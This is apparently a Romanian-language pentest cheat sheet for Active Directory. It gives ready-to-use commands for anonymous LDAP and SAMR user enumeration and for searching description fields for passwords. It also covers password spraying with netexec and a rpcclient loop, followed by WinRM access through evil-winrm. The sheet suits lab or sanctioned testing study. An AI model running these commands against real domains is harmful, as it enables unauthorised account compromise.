1. Matricea tool-urilor
| Ce vrei | windapsearch | rpcclient (null) | netexec (nxc) |
|---|---|---|---|
| Lista useri | -U |
enumdomusers |
nxc smb IP -u '' -p '' --users |
| Lista grupuri | -G |
enumdomgroups |
nxc smb IP -u '' -p '' --groups |
| Atribute complete (description etc.) | -U --full | grep |
❌ (SAMR nu dă description) | nxc ldap IP -u '' -p '' -M user-desc |
| Membrii unui grup | -m <grup> |
querygroupmem <rid> |
nxc ldap IP -u '' -p '' --groups '<Grup>' |
| Export useri în fișier | -U > users.list |
— | nxc ldap IP -u '' -p '' --users-export users.list |
| Lockout policy | — | — | nxc ldap IP -u '' -p '' --pass-pol |
⚠️
descriptionse citește DOAR prin LDAP.rpcclient queryuser/nxc smb --users(SAMR) nu întorc descrierea — acolo stau des parole implicite (ex.Welcome123!).
2. Comenzi echivalente una-la-una
# windapsearch (python, cel mai comod pt atribute):
./windapsearch.py -d domeniu.local --dc-ip IP -U --full | grep -iE "pass|welcome|temp"
# ldapsearch (openldap — fallback universal):
ldapsearch -x -H ldap://IP -b "dc=domeniu,dc=local" "(objectClass=user)" sAMAccountName description
# nxc ldap — anonymous bind:
nxc ldap IP -u '' -p '' --users-export users.list
nxc ldap IP -u '' -p '' -M user-desc # descrierile tuturor userilor
nxc ldap IP -u '' -p '' --pass-pol # lockout + complexitate
nxc ldap IP -u '' -p '' --groups 'DnsAdmins' # membrii unui grup anume
nxc ldap IP -u '' -p '' --groups # toate grupurile
# rpcclient — null session:
rpcclient -U "" -N IP
> enumdomusers
> enumdomgroups
> queryuser 0x1f4
3. Password spray responsabil (după ce ai lista)
Verifică lockout policy ÎNAINTE (lockoutThreshold: 0 = poți spray liniștit):
nxc ldap IP -u '' -p '' --pass-pol
# sau: ldapsearch -x -h IP -b "dc=domeniu,dc=local" -s sub "*" | grep -i lockout
Spray:
nxc ldap IP -u users.list -p 'Welcome123!' --continue-on-success
nxc smb IP -u users.list -p 'Welcome123!' --continue-on-success # alternativ pe 445
# loop rpcclient (clasic):
for u in $(cat users.list); do rpcclient -U "$u%Welcome123!" -c "getusername;quit" IP | grep Authority; done
Dacă userul prins e în Remote Management Users (sau
admin) → nxc winrm IP -u user -p pass → evil-winrm.
4. Când anonymous NU merge
- DC-uri moderne au des anonymous bind dezactivat → folosește același tooling cu creds de user low-priv:
nxc ldap IP -u user -p 'pass' -M user-desc
nxc ldap IP -u user -p 'pass' --groups
- SAMR null session e adesea permis chiar când LDAP anonymous nu e — încearcă ambele.
5. Locul în metodologie
- Anon LDAP/SAMR enum → useri + atribute (caută parole în
description) - Lockout check → password spray
- Creds → WinRM/SMB → enum local (winpeas, PSTranscripts etc.)
- BloodHound intră DOAR după ce ai creds (anonim = inutil pt BH) — și nu vede fișiere/artefacte locale